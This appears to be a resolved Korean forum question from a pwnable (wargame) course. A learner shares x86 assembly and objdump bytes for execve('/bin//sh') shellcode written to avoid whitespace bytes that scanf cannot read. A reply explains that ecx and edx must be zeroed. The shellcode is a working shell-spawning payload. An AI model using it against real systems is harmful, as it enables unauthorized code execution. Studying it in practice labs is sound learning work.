완료됨
인터넷에서 쓰이는 scanf 우회 쉘코드를 써서 깨긴 깼습니다만.....
scanf 함수에서 읽지 못하는 \x09, \x0a, \x0b, \x0c, \x0d, \x20
를 제외한 쉘코드를 직접 만들었는데 막상 쓸려고 하면 자꾸 에러가 납니다.
쉘코드를 로컬에서 실행하면 정상작동하는데 익스플로잇 코드에 넣고 돌리기만하면 자꾸 이렇네요..... 어느 부분이 잘못 되었는지 확인 부탁드리겠습니다.
<쉘 어셈블리 코드>
12번째, 13번째 줄은 기계어로 뽑을 때 0x0b가 나오지 않도록 만든 줄입니다.
1 section .text
2 global _start
3 _start:
4 xor eax, eax
5 push eax
6 mov eax, 0x68732f2f
7 push eax
8 mov eax, 0x6e69622f
9 push eax
10 mov ebx, esp
11 xor eax, eax
12 mov al, 0x30
13 sub al, 0x25
14 int 0x80
15
16 mov al, 0x1
17 int 0x80
<objdump로 뽑은 기계어>
shell: file format elf32-i386
Disassembly of section .text:
08049000 <_start>:
8049000: 31 c0 xor %eax,%eax
8049002: 50 push %eax
8049003: b8 2f 2f 73 68 mov $0x68732f2f,%eax
8049008: 50 push %eax
8049009: b8 2f 62 69 6e mov $0x6e69622f,%eax
804900e: 50 push %eax
804900f: 89 e3 mov %esp,%ebx
8049011: 31 c0 xor %eax,%eax
8049013: b0 30 mov $0x30,%al
8049015: 2c 25 sub $0x25,%al
8049017: cd 80 int $0x80
8049019: b0 01 mov $0x1,%al
804901b: cd 80 int $0x80
<익스플로잇 코드>
<실행 결과>
#pwnable
작성자 정보
답변
1
kimht__
강의 수강: 1
int 0x80으로 execve 호출 시 ecx(argv)와 edx(envp)가 0이어야 우리가 원하는 쉘을 얻을 수 있습니다.
아마 원격 서버 상에서 execve 호출 시 ecx나 edx 레지스터 값이 0이 아니었을 가능성이 높습니다.
쉘코딩을 추가적으로 해서 ecx와 edx도 0으로 만들어주면 될 것 같네요